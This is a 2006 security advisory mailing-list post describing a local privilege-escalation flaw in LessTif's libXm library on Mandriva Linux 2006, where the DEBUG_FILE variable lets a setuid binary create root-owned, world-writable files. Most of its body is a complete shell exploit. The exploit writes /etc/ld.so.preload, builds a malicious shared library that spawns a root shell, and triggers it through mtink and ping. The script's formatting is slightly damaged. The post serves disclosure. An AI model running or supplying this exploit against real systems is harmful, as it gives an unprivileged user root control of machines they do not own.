[UNIX] Liblesstif Local Root (Exploit)

2006-08-08T00:00:00
ID SECURITYVULNS:DOC:13775
Type securityvulns
Reporter Securityvulns
Modified 2006-08-08T00:00:00

Description

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html


Liblesstif Local Root (Exploit)

SUMMARY

LessTif is "the Hungry Programmers' version of OSF/Motif. It aims to be source compatible meaning that the same source code should compile with both and work exactly the same". LibXm a part of LessTif handles debug logging in insecure manner leading to local root exploit.

DETAILS

Vulnerable Systems: * liblesstif2-0.93.94-4mdk on Mandriva Linux 2006

Library allows to set logging of debugging information to file by setting up environment variable DEBUG_FILE. While executing setuid binary linked against libXm library, it doesn't check anything. Library opens file in append mode with permission according to umask, so there is possibility to create world writable, root owned files.

Analysis: Creating world writable file with effective uid of root, allows in various ways to elevate privileges f.ex. by creating /etc/ld.so.preload.

Exploit: Exploit needs mtink to be setuid (default in Mandriva Linux 2006)

!/bin/sh

echo echo "mtink libXm local root exploit" echo " karol@wiesek.pl " echo umask 000 export DEBUG_FILE="/etc/ld.so.preload" cat > /tmp/lib.c << _EOF

include <unistd.h>

void _init(void) { if (getuid()!=0 && geteuid()==0) { setuid(0); unlink("/etc/ld.so.preload"); execl("/bin/bash", "bash", 0); } } _EOF /usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c /usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o /usr/bin/mtink echo "/tmp/lib.so" > /etc/ld.so.preload /bin/ping

ADDITIONAL INFORMATION

The information has been provided by <mailto:karol@wiesek.pl> Karol Wiesek.

========================================

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.